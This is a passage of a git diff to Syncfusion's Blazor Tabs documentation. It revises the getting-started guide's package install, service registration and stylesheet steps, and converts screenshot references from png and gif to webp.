-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -105,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
 
-To add the **Blazor Tabs** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Navigations` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Navigations` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -149,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,24 +129,28 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Tabs component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Tabs component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Tabs component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Navigations
+
+@using Syncfusion.Blazor.Navigations
 
 <SfTab>
     <TabItems>
@@ -219,7 +177,9 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Tabs component i
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Tabs component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXBJNWKNzICuUXkm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Tabs Component](./images/blazor-tabs.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXBJNWKNzICuUXkm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Tabs Component](./images/blazor-tabs.webp)" %}
+
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Tabs).
 
 ## Initialize Blazor Tab Content using Template
 
@@ -230,7 +190,11 @@ N> `ContentTemplate` property supports `RenderFragment` type to render content.
 The following code explains how to initialize tab content using `ContentTemplate`.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Navigations
+
+@using Syncfusion.Blazor.Navigations
 
 <SfTab>
     <TabItems>
@@ -264,14 +228,14 @@ The following code explains how to initialize tab content using `ContentTemplate
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjLfjWqNJeVdyLDk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Tabs with Template](./images/blazor-tabs-template.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjLfjWqNJeVdyLDk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Tabs with Template](./images/blazor-tabs-template.webp)" %}
 
 ## Two way binding of SelectedItem
 
 The property [SelectedItem](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.SfTab.html#Syncfusion_Blazor_Navigations_SfTab_SelectedItem) supports two way property binding, in the following code example if either the value is changed in numeric text box or selected tab item is changed, it will reflect in both the value of numeric text box and selected tab item.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @using Syncfusion.Blazor.Inputs
 @using Syncfusion.Blazor.Navigations
@@ -316,7 +280,7 @@ Selected Tab
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXBzDCgNzyqUhxZn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Tabs with Data Binding](./images/blazor-tabs-data-binding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXBzDCgNzyqUhxZn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Tabs with Data Binding](./images/blazor-tabs-data-binding.webp)" %}
 
 ## See also
 
diff --git a/blazor/tabs/header.md b/blazor/tabs/header.md
index 31f961e9d9..d7e9900c05 100644
--- a/blazor/tabs/header.md
+++ b/blazor/tabs/header.md
@@ -105,7 +105,7 @@ N> If the above custom style classes are not included in the root element, the d
 </style>
 ```
 
-![Blazor Tabs with Header](./images/blazor-tabs-header.png)
+![Blazor Tabs with Header](./images/blazor-tabs-header.webp)
 
 ## Icon positions
 
@@ -244,7 +244,7 @@ The position of the Tab header icons can be customized using the [IconPosition](
 }
 ```
 
-![Blazor Tabs with Icon](./images/blazor-tabs-icon.png)
+![Blazor Tabs with Icon](./images/blazor-tabs-icon.webp)
 
 
 ## Add floating button to the right of existing tabs
@@ -292,7 +292,7 @@ Here, New tab items added when user clicks on the `Button` inside `HeaderTemplat
 }
 ```
 
-![Blazor Tabs with Floating button](./images/blazor-tabs-floating-button.png)
+![Blazor Tabs with Floating button](./images/blazor-tabs-floating-button.webp)
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/How-to-add-floating-button-to-the-right-of-tabs-in-Blazor-Tab)
 
diff --git a/blazor/tabs/how-to/add-nested-tabs.md b/blazor/tabs/how-to/add-nested-tabs.md
index 6fbbd8a07f..7e461e98b1 100644
--- a/blazor/tabs/how-to/add-nested-tabs.md
+++ b/blazor/tabs/how-to/add-nested-tabs.md
@@ -98,4 +98,4 @@ The tabs control supports to render the nested level of tabs by using the `Conte
 </SfTab>
 ```
 
-![Adding Blazor Nested Tabs](../images/blazor-nested-tabs.png)
\ No newline at end of file
+![Adding Blazor Nested Tabs](../images/blazor-nested-tabs.webp)
\ No newline at end of file
diff --git a/blazor/tabs/how-to/add-remove-tab-items.md b/blazor/tabs/how-to/add-remove-tab-items.md
index e2cb6a271f..1e5d1b91bb 100644
--- a/blazor/tabs/how-to/add-remove-tab-items.md
+++ b/blazor/tabs/how-to/add-remove-tab-items.md
@@ -88,7 +88,7 @@ In the following demo, initially there are three tabs as the **TabItems** has th
 }
 ```
 
-![Adding or Removing TabItems in Blazor Tabs](../images/blazor-tabs-add-remove-item.png)
+![Adding or Removing TabItems in Blazor Tabs](../images/blazor-tabs-add-remove-item.webp)
 
 ## Using public methods
 
@@ -149,4 +149,4 @@ In the following demo, a tab item can be added as first tab and removed as the l
 </style>
 ```
 
-![Adding or Removing TabItems in Blazor Tabs](../images/blazor-tabs-add-remove-tabitems.png)
\ No newline at end of file
+![Adding or Removing TabItems in Blazor Tabs](../images/blazor-tabs-add-remove-tabitems.webp)
\ No newline at end of file
diff --git a/blazor/tabs/how-to/create-wizard-using-tab.md b/blazor/tabs/how-to/create-wizard-using-tab.md
index a4b2a1674a..50a4ba38f6 100644
--- a/blazor/tabs/how-to/create-wizard-using-tab.md
+++ b/blazor/tabs/how-to/create-wizard-using-tab.md
@@ -516,4 +516,4 @@ You can go back on each tab using buttons available in it and tabs are disabled
 </style>
 ```
 
-![Blazor Tabs with Wizard](../images/blazor-tabs-wizard.png)
\ No newline at end of file
+![Blazor Tabs with Wizard](../images/blazor-tabs-wizard.webp)
\ No newline at end of file
diff --git a/blazor/tabs/how-to/customize-selected-tab-styles.md b/blazor/tabs/how-to/customize-selected-tab-styles.md
index 79eadf5a68..57da1dbf47 100644
--- a/blazor/tabs/how-to/customize-selected-tab-styles.md
+++ b/blazor/tabs/how-to/customize-selected-tab-styles.md
@@ -113,4 +113,4 @@ The style of tabs can be customized by overriding its header and active tab CSS
 </style>
 ```
 
-![Customizing active tabitem in Blazor Tabs](../images/blazor-tabs-custom-active-tabitem.png)
\ No newline at end of file
+![Customizing active tabitem in Blazor Tabs](../images/blazor-tabs-custom-active-tabitem.webp)
\ No newline at end of file
diff --git a/blazor/tabs/how-to/customize-the-scrolling-distance.md b/blazor/tabs/how-to/customize-the-scrolling-distance.md
index d80a3b8466..8a856ecc98 100644
--- a/blazor/tabs/how-to/customize-the-scrolling-distance.md
+++ b/blazor/tabs/how-to/customize-the-scrolling-distance.md
@@ -78,4 +78,4 @@ The [ScrollStep](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigat
 }
 ```
 
-![Customizing Scrolling TabItems in Blazor Tabs](../images/blazor-tabs-custom-scroll.gif)
\ No newline at end of file
+![Customizing Scrolling TabItems in Blazor Tabs](../images/blazor-tabs-custom-scroll.webp)
\ No newline at end of file
diff --git a/blazor/tabs/how-to/enable-or-disable-tab-item.md b/blazor/tabs/how-to/enable-or-disable-tab-item.md
index 653eaa5ca2..979502a033 100644
--- a/blazor/tabs/how-to/enable-or-disable-tab-item.md
+++ b/blazor/tabs/how-to/enable-or-disable-tab-item.md
@@ -50,4 +50,4 @@ The [Disabled](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigatio
 
 ```
 
-![Enabling or Disabling TabItem in Blazor Tabs](../images/blazor-tabs-enable-disable-tabitem.gif)
\ No newline at end of file
+![Enabling or Disabling TabItem in Blazor Tabs](../images/blazor-tabs-enable-disable-tabitem.webp)
\ No newline at end of file
diff --git a/blazor/tabs/how-to/show-hide-tab-item.md b/blazor/tabs/how-to/show-hide-tab-item.md
index f5d2d6dbcd..ac90865aae 100644
--- a/blazor/tabs/how-to/show-hide-tab-item.md
+++ b/blazor/tabs/how-to/show-hide-tab-item.md
@@ -50,4 +50,4 @@ The [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigation
 
 ```
 
-![Showing or Hiding TabItem in Blazor Tabs](../images/blazor-tabs-hide-show-tabitem.gif)
\ No newline at end of file
+![Showing or Hiding TabItem in Blazor Tabs](../images/blazor-tabs-hide-show-tabitem.webp)
\ No newline at end of file
diff --git a/blazor/tabs/how-to/tab-key-navigation-items.md b/blazor/tabs/how-to/tab-key-navigation-items.md
index 30c424f205..8eb050dff6 100644
--- a/blazor/tabs/how-to/tab-key-navigation-items.md
+++ b/blazor/tabs/how-to/tab-key-navigation-items.md
@@ -42,4 +42,4 @@ To use the [TabIndex](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Na
 
 ```
 
-![Enabling or Disabling TabItem in Blazor Tabs](../images/blazor-tabs-tabindex-tabitem.gif)
\ No newline at end of file
+![Enabling or Disabling TabItem in Blazor Tabs](../images/blazor-tabs-tabindex-tabitem.webp)
\ No newline at end of file
diff --git a/blazor/tabs/images/addRemoveTab.png b/blazor/tabs/images/addRemoveTab.png
deleted file mode 100644
index 0f202b7cd0..0000000000
Binary files a/blazor/tabs/images/addRemoveTab.png and /dev/null differ
diff --git a/blazor/tabs/images/addRemoveTab.webp b/blazor/tabs/images/addRemoveTab.webp
new file mode 100644
index 0000000000..7d2b634ee1
Binary files /dev/null and b/blazor/tabs/images/addRemoveTab.webp differ
diff --git a/blazor/tabs/images/albert.png b/blazor/tabs/images/albert.png
deleted file mode 100644
index c038c884af..0000000000
Binary files a/blazor/tabs/images/albert.png and /dev/null differ
diff --git a/blazor/tabs/images/albert.webp b/blazor/tabs/images/albert.webp
new file mode 100644
index 0000000000..b28d751fbb
Binary files /dev/null and b/blazor/tabs/images/albert.webp differ
diff --git a/blazor/tabs/images/blazor-active-tabs-textIcon-customize.png b/blazor/tabs/images/blazor-active-tabs-textIcon-customize.png
deleted file mode 100644
index 7e64611c1c..0000000000
Binary files a/blazor/tabs/images/blazor-active-tabs-textIcon-customize.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-active-tabs-textIcon-customize.webp b/blazor/tabs/images/blazor-active-tabs-textIcon-customize.webp
new file mode 100644
index 0000000000..3ca8ce4241
Binary files /dev/null and b/blazor/tabs/images/blazor-active-tabs-textIcon-customize.webp differ
diff --git a/blazor/tabs/images/blazor-create-web-app.png b/blazor/tabs/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/tabs/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-create-web-app.webp b/blazor/tabs/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/tabs/images/blazor-create-web-app.webp differ
diff --git a/blazor/tabs/images/blazor-nested-tabs.png b/blazor/tabs/images/blazor-nested-tabs.png
deleted file mode 100644
index 2821e394a0..0000000000
Binary files a/blazor/tabs/images/blazor-nested-tabs.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-nested-tabs.webp b/blazor/tabs/images/blazor-nested-tabs.webp
new file mode 100644
index 0000000000..4eef153710
Binary files /dev/null and b/blazor/tabs/images/blazor-nested-tabs.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-add-remove-item.png b/blazor/tabs/images/blazor-tabs-add-remove-item.png
deleted file mode 100644
index 8403644e98..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-add-remove-item.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-add-remove-item.webp b/blazor/tabs/images/blazor-tabs-add-remove-item.webp
new file mode 100644
index 0000000000..823122afc5
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-add-remove-item.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-add-remove-items.gif b/blazor/tabs/images/blazor-tabs-add-remove-items.gif
deleted file mode 100644
index 6a2e638863..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-add-remove-items.gif and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-add-remove-items.webp b/blazor/tabs/images/blazor-tabs-add-remove-items.webp
new file mode 100644
index 0000000000..6929c2c018
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-add-remove-items.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-add-remove-tabitems.png b/blazor/tabs/images/blazor-tabs-add-remove-tabitems.png
deleted file mode 100644
index 993f31ee3c..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-add-remove-tabitems.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-add-remove-tabitems.webp b/blazor/tabs/images/blazor-tabs-add-remove-tabitems.webp
new file mode 100644
index 0000000000..8805a0e7c3
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-add-remove-tabitems.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-animation.gif b/blazor/tabs/images/blazor-tabs-animation.gif
deleted file mode 100644
index 0ca5a921f8..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-animation.gif and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-animation.webp b/blazor/tabs/images/blazor-tabs-animation.webp
new file mode 100644
index 0000000000..6d12403279
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-animation.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-custom-active-tabitem.PNG b/blazor/tabs/images/blazor-tabs-custom-active-tabitem.PNG
deleted file mode 100644
index e286f69a91..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-custom-active-tabitem.PNG and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-custom-active-tabitem.webp b/blazor/tabs/images/blazor-tabs-custom-active-tabitem.webp
new file mode 100644
index 0000000000..66e19f3105
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-custom-active-tabitem.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-custom-scroll.gif b/blazor/tabs/images/blazor-tabs-custom-scroll.gif
deleted file mode 100644
index 1a799c3a2f..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-custom-scroll.gif and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-custom-scroll.webp b/blazor/tabs/images/blazor-tabs-custom-scroll.webp
new file mode 100644
index 0000000000..074dda3f46
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-custom-scroll.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-customize-content-background.png b/blazor/tabs/images/blazor-tabs-customize-content-background.png
deleted file mode 100644
index a43d6d0688..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-customize-content-background.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-customize-content-background.webp b/blazor/tabs/images/blazor-tabs-customize-content-background.webp
new file mode 100644
index 0000000000..bf852cca14
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-customize-content-background.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-customize-content.png b/blazor/tabs/images/blazor-tabs-customize-content.png
deleted file mode 100644
index 38d191253b..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-customize-content.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-customize-content.webp b/blazor/tabs/images/blazor-tabs-customize-content.webp
new file mode 100644
index 0000000000..7678f34c47
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-customize-content.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-customize-items.png b/blazor/tabs/images/blazor-tabs-customize-items.png
deleted file mode 100644
index 219d268f19..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-customize-items.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-customize-items.webp b/blazor/tabs/images/blazor-tabs-customize-items.webp
new file mode 100644
index 0000000000..570d001eef
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-customize-items.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-customize.png b/blazor/tabs/images/blazor-tabs-customize.png
deleted file mode 100644
index 6e3ab53418..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-customize.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-customize.webp b/blazor/tabs/images/blazor-tabs-customize.webp
new file mode 100644
index 0000000000..0d00b82296
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-customize.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-data-binding.png b/blazor/tabs/images/blazor-tabs-data-binding.png
deleted file mode 100644
index 074efc81c3..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-data-binding.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-data-binding.webp b/blazor/tabs/images/blazor-tabs-data-binding.webp
new file mode 100644
index 0000000000..90c73f6557
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-data-binding.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-drag-drop-items.gif b/blazor/tabs/images/blazor-tabs-drag-drop-items.gif
deleted file mode 100644
index 336f254c61..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-drag-drop-items.gif and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-drag-drop-items.webp b/blazor/tabs/images/blazor-tabs-drag-drop-items.webp
new file mode 100644
index 0000000000..593743034d
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-drag-drop-items.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-enable-disable-tabitem.gif b/blazor/tabs/images/blazor-tabs-enable-disable-tabitem.gif
deleted file mode 100644
index 0fff13ce13..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-enable-disable-tabitem.gif and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-enable-disable-tabitem.webp b/blazor/tabs/images/blazor-tabs-enable-disable-tabitem.webp
new file mode 100644
index 0000000000..e376980dc3
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-enable-disable-tabitem.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-floating-button.png b/blazor/tabs/images/blazor-tabs-floating-button.png
deleted file mode 100644
index ea0b508dbe..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-floating-button.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-floating-button.webp b/blazor/tabs/images/blazor-tabs-floating-button.webp
new file mode 100644
index 0000000000..6844741d1a
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-floating-button.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-header-customization.png b/blazor/tabs/images/blazor-tabs-header-customization.png
deleted file mode 100644
index e4360e5b1d..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-header-customization.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-header-customization.webp b/blazor/tabs/images/blazor-tabs-header-customization.webp
new file mode 100644
index 0000000000..25897019c2
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-header-customization.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-header-icon-customization.png b/blazor/tabs/images/blazor-tabs-header-icon-customization.png
deleted file mode 100644
index fd3c55b8bb..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-header-icon-customization.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-header-icon-customization.webp b/blazor/tabs/images/blazor-tabs-header-icon-customization.webp
new file mode 100644
index 0000000000..152424738e
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-header-icon-customization.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-header.png b/blazor/tabs/images/blazor-tabs-header.png
deleted file mode 100644
index 76523044f7..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-header.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-header.webp b/blazor/tabs/images/blazor-tabs-header.webp
new file mode 100644
index 0000000000..e21d6deb8d
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-header.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-hide-show-tabitem.gif b/blazor/tabs/images/blazor-tabs-hide-show-tabitem.gif
deleted file mode 100644
index 5468801007..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-hide-show-tabitem.gif and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-hide-show-tabitem.webp b/blazor/tabs/images/blazor-tabs-hide-show-tabitem.webp
new file mode 100644
index 0000000000..bb21f37ca1
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-hide-show-tabitem.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-hover-customization.png b/blazor/tabs/images/blazor-tabs-hover-customization.png
deleted file mode 100644
index 75082bf8cd..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-hover-customization.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-hover-customization.webp b/blazor/tabs/images/blazor-tabs-hover-customization.webp
new file mode 100644
index 0000000000..985b9d610f
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-hover-customization.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-icon.png b/blazor/tabs/images/blazor-tabs-icon.png
deleted file mode 100644
index 6d43eec7ae..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-icon.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-icon.webp b/blazor/tabs/images/blazor-tabs-icon.webp
new file mode 100644
index 0000000000..54b85c1fdd
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-icon.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-localization.png b/blazor/tabs/images/blazor-tabs-localization.png
deleted file mode 100644
index f12c5e071c..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-localization.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-localization.webp b/blazor/tabs/images/blazor-tabs-localization.webp
new file mode 100644
index 0000000000..5e1c0a320b
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-localization.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-orientation.gif b/blazor/tabs/images/blazor-tabs-orientation.gif
deleted file mode 100644
index e3d8c87ed9..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-orientation.gif and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-orientation.webp b/blazor/tabs/images/blazor-tabs-orientation.webp
new file mode 100644
index 0000000000..a4f1aedf87
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-orientation.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-popup (1).webp b/blazor/tabs/images/blazor-tabs-popup (1).webp
new file mode 100644
index 0000000000..e9a70c7a93
